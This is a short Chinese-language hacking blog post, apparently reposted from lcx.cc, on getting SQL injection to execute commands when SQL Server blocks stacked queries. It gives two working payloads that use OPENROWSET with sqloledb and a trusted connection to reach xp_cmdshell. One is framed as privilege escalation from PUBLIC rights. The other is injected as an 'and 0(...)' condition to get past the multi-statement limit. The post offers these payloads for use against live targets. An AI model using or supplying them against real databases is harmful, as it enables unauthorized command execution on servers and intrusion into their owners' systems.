SQL注入不能多句执行时的一种突破方法

  • A+
所属分类:lcx

    SQL注入不能多句执行时的一种突破方法(SA权限

    有时候会遇到SA权限不能多句执行的情况,让人很蛋疼。前几天在搞一个SQL SERVER 7.0的PUBLIC权限时。某牛给我以下语句提权:

    select * from openrowset('sqloledb','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''dir c:''')

    本机测试成功。但实际环境中却出现[微软] [ODBC SQL Server驱动] [SQL Server中] OLE DB提供程序'sqloledb'无法创建一个接口 的错误。原因不明,还望哪位大牛解释。。

    虽然这个问题偶还没有解决,但今天遇到一个SA权限不能多句的情况(估计驱动问题,不解),让我蛋疼了一段时间。后来经过GOOGLE,发现SA权限还可以这样执行:

    and 0(select * from openrowset('sqloledb','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''dir c:'''))

    这样就绕过了多句执行的限制了。

文章来源于lcx.cc:SQL注入不能多句执行时的一种突破方法

相关推荐: 【文章】8.12 公开密钥的密钥管理 密钥加密

8.12 公开密钥的密钥管理     公开密钥密码使得密钥较易管理,但它有自己的问题。无论网络上有多少人,每个人只有一个公开密钥。如果Alice想传送一段信息给Bob,她必须知道Bob的公开密钥,这有以下几种方式:     ——她可以从Bob处获得。     …

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: